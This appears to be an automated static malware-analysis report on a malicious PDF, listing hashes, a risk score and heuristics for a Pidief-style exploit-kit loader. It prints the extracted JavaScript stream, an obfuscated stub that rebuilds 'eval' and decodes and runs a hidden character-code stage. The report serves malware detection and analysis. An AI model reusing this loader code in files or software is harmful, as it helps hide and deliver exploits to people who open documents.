Malicious PDF — malware analysis report

Static analysis result for SHA-256 33c0f4edb5299fb3…

MALICIOUS

PDF

45.2 KB First seen: 2012-06-14
MD5: 559a985723cf2b3b9e6751bfd04f7d5a SHA-1: ae9289f93357c8a90a53a8f9cc9c42e7a2ddd271 SHA-256: 33c0f4edb5299fb368d9c991a3a3c7e6dbc70cb87198658692a48287b1ff7207
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB20D 439 bytes
SHA-256: 472b4789a115e0ae40833f91777f42fff59ba84d5fdc7d5ad72bd3892949ed0d
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
ivucu='';
gntvm=('qwrwqr','tit');
e('ryj=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
ivw=e('String.fr'+ryj.substr(0,10));
mci = e(ryj.substr(10)['replace'](/u/g,','));
e('k=mci.length');
for (i = 0; i < k; i+=2) {
	pcj = mci[i+1] + ('erybjkerl',mci[i]);
	ivucu += ivw(pcj);
}
e(ivucu);

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